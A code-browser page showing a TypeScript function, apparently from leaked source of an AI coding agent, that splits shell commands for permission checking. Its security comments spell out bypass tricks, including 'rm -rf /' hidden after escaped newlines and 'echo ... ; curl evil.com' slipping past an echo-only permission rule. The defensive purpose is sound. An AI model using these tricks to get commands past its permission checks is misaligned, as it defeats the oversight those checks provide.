MCPcopy Create free account
hub / github.com/AnukarOP/claude-code-leaked / splitCommandWithOperators

Function splitCommandWithOperators

source code/utils/bash/commands.ts:87–251  ·  view source on GitHub ↗
(command: string)

Source from the content-addressed store, hash-verified

85export type { CommandPrefixResult, CommandSubcommandPrefixResult }
86
87export function splitCommandWithOperators(command: string): string[] {
88 const parts: (ParseEntry | null)[] = []
89
90 // Generate unique placeholders for this parse to prevent injection attacks
91 // Security: Using random salt prevents malicious commands from containing
92 // literal placeholder strings that would be replaced during parsing
93 const placeholders = generatePlaceholders()
94
95 // Extract heredocs before parsing - shell-quote parses << incorrectly
96 const { processedCommand, heredocs } = extractHeredocs(command)
97
98 // Join continuation lines: backslash followed by newline removes both characters
99 // This must happen before newline tokenization to treat continuation lines as single commands
100 // SECURITY: We must NOT add a space here - shell joins tokens directly without space.
101 // Adding a space would allow bypass attacks like `tr\<newline>aceroute` being parsed as
102 // `tr aceroute` (two tokens) while shell executes `traceroute` (one token).
103 // SECURITY: We must only join when there's an ODD number of backslashes before the newline.
104 // With an even number (e.g., `\\<newline>`), the backslashes pair up as escape sequences,
105 // and the newline is a command separator, not a continuation. Joining would cause us to
106 // miss checking subsequent commands (e.g., `echo \\<newline>rm -rf /` would be parsed as
107 // one command but shell executes two).
108 const commandWithContinuationsJoined = processedCommand.replace(
109 /\\+\n/g,
110 match => {
111 const backslashCount = match.length - 1 // -1 for the newline
112 if (backslashCount % 2 === 1) {
113 // Odd number of backslashes: last one escapes the newline (line continuation)
114 // Remove the escaping backslash and newline, keep remaining backslashes
115 return '\\'.repeat(backslashCount - 1)
116 } else {
117 // Even number of backslashes: all pair up as escape sequences
118 // The newline is a command separator, not continuation - keep it
119 return match
120 }
121 },
122 )
123
124 // SECURITY: Also join continuations on the ORIGINAL command (pre-heredoc-
125 // extraction) for use in the parse-failure fallback paths. The fallback
126 // returns a single-element array that downstream permission checks process
127 // as ONE subcommand. If we return the ORIGINAL (pre-join) text, the
128 // validator checks `foo\<NL>bar` while bash executes `foobar` (joined).
129 // Exploit: `echo "$\<NL>{}" ; curl evil.com` — pre-join, `$` and `{}` are
130 // split across lines so `${}` isn't a dangerous pattern; `;` is visible but
131 // the whole thing is ONE subcommand matching `Bash(echo:*)`. Post-join,
132 // zsh/bash executes `echo "${}" ; curl evil.com` → curl runs.
133 // We join on the ORIGINAL (not processedCommand) so the fallback doesn't
134 // need to deal with heredoc placeholders.
135 const commandOriginalJoined = command.replace(/\\+\n/g, match => {
136 const backslashCount = match.length - 1
137 if (backslashCount % 2 === 1) {
138 return '\\'.repeat(backslashCount - 1)
139 }
140 return match
141 })
142
143 // Try to parse the command to detect malformed syntax
144 const parseResult = tryParseShellCommand(

Callers 4

isSilentBashCommandFunction · 0.85
getPipeSegmentsMethod · 0.85
splitCommand_DEPRECATEDFunction · 0.85

Calls 4

generatePlaceholdersFunction · 0.85
extractHeredocsFunction · 0.85
tryParseShellCommandFunction · 0.85
restoreHeredocsFunction · 0.85

Tested by

no test coverage detected